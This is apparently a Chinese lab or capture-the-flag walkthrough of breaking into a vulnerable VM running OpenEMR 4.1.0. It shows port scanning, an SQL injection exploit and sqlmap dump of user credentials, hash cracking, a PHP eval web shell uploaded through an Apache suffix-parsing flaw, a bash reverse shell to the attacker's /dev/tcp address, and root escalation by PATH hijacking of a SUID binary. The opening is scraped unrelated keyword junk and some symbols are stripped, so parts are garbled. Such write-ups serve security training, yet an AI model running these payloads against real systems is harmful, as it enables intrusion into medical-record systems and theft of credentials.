重庆观音桥在哪个区,企业电商网站优化,广州安全教育平台登录入囗,linux增加网站文章目录 主机发现端口扫描FTP—21search ProPFTd EXPFTP 匿名用户登录 web服务—80目录扫描search openemr exp登录openEMR 后台 提权总结 主机发现
使用nmap扫描局域网内存活的主机#xff0c;命令如下#xff1a;
netdiscover -i eth0 -r 192.168.151.0/24192.168.151.1… 文章目录 主机发现端口扫描FTP—21search ProPFTd EXPFTP 匿名用户登录 web服务—80目录扫描search openemr exp登录openEMR 后台 提权总结 主机发现
使用nmap扫描局域网内存活的主机命令如下
netdiscover -i eth0 -r 192.168.151.0/24192.168.151.1主机IP192.168.151.2DHCP服务器IP192.168.151.3靶机IP192.168.151.4Kali IP。
端口扫描
使用nmap对靶机进行端口扫描命令如下
nmap -p- -sV -A 192.168.151.3 可见这台靶机开放了端口21ftp文件传输协议、80httpweb服务。
FTP—21
search ProPFTd EXP
searchsploit proPTFd # 搜索exp尝试了1.3.3c和1.3.5的EXP均失败。 FTP 匿名用户登录
尝试匿名用户登录ftp服务器
ftp 192.168.151.3# 用户名为anonymous 密码为空发现登录失败该FTP服务器不允许匿名登录。
web服务—80
目录扫描
使用dirsearch进行目录扫描。命令如下
dirsearch -u http://192.168.151.3 -e php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak访问192.168.151.3/openemr发现了一个后台登录程序版本号为openEMR v4.1.0。 search openemr exp
searchsploit openemr # 搜索exp发现该版本的openEMR存在sql注入。
searchsploit -m 49742.py # 将漏洞数据库中的exp复制到当前目录下避免改数据库中的数据。
vim 49742.py # 更改url路径
python 49742.py # 执行最终可以拿到后台登录用户名与密码但是密码是经过MD5加密后的结果。同时存在sql注入漏洞的url为http://192.168.151.3/openemr/interface/login/validateUser.php?u1。基于改url也可以直接用sqlmap命令如下
sqlmap -u http://192.168.151.3/openemr/interface/login/validateUser.php?u1 # 判断是否存在sql注入
sqlmap -u http://192.168.151.3/openemr/interface/login/validateUser.php?u1 --dbs # 查询当前用户下的所有数据库存在information_schema、openemr、test三个数据库
sqlmap -u http://192.168.151.3/openemr/interface/login/validateUser.php?u1 -D openemr --tables # 获取数据库中的表名 users表
sqlmap -u http://192.168.151.3/openemr/interface/login/validateUser.php?u1 -D openemr -T users --columns # 获取表中的字段名username,password表
sqlmap -u http://192.168.151.3/openemr/interface/login/validateUser.php?u1 -D openemr -T users -C username,password --dump # 获取字段内容破解数据库密码 脚本拿到数据库密码后如何破解呢用john the ripper
touch pw.txt
echo pw.txt # 代表换行追加
hashid # hashid判断密文可能使用的加密算法
john pw.txt要看具体哪个密文对应哪个密码看.john/john.pot 获取用户名、密码
admin ackbar
medical medical登录openEMR 后台
拿到后台用户名和密码直接登录 在administered-file处发现一个文件上传点经过测试不允许上传.php文件。 查看web服务的中间件版本是apache 2.2.17这个版本是存在多后缀名解析漏洞的。就是说我们可以上传shell.php.来绕过文件后缀检测。上传的文件最终保存路径就在http://192.168.151.3/openemr/sites/default/images下。 在Apache 2.0.x 2.0.59Apache 2.2.x 2.2.17Apache 2.2.2 2.2.8中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。 ?php eval($_GET[cmd]);? # 上传文件内容
http://192.168.151.3/openemr/sites/default/images/shell.php.?cmdsystem(bash -i /dev/tcp/192.168.151.4/443 01); # 数据包cookie需要是admin用户的后门需要经过url编码。最终的话可以拿到reverse shell。
提权
python -c import pty;pty.spawn(/bin/bash) # 建立一个半交互式shell
find / -perm -us -type f 2/dev/null # 搜索具备SUID属性的程序这里发现/usr/bin/healthcheck这个命令肯定不是系统自带的且具备SUID属性。 cat /usr/bin/healthcheck出现乱码说明是二进制程序。 也可以用file /usr/bin/healthcheck查看文件属性。 strings /usr/bin/healthcheck查看文件中可打印的字符从结果可以看出该程序会执行sleep2; ifconfig; fdisk -l; du -h这些shell命令。思路如果ifconfig命令被重定向为其他程序比如包含/bin/bash就可以拿到root用户的shell。 /tmp目录任何用户都写读写权限。
touch ifconfig # 常见ifconfig文件
chmod x ifconfig # 给予可执行权限
echo /bin/bash ifconfig # 写入内容
export PATH/tmp:$PATH # 修改系统环境变量后面的$PATH是系统默认的路径
/usr/bin/healthcheck # 不用bash /usr/bin/healthcheck$PATH变量的值是一系列用冒号分隔的目录路径。例如: $PATH /usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin 在这个例子中系统将按照指定的顺序搜索/usr/local/bin、/usr/bin、/bin、/usr/local/sbin、/usr/sbin和/sbin这几个目录。 总结
端口扫描发现开放的端口目录扫描发现web网站的上下文但是需要合适的字典发现openemr有漏洞找到exp直接获取数据库密码通过获得的密码登录网站后台然后找到文件上传点结合apache解析漏洞获取reverse shell寻找SUID程序/usr/bin/healthcheckstrings打印可打印字符发现执行ifconfig更改系统环境变量执行ifconfig时优先执行伪造的ifconfig。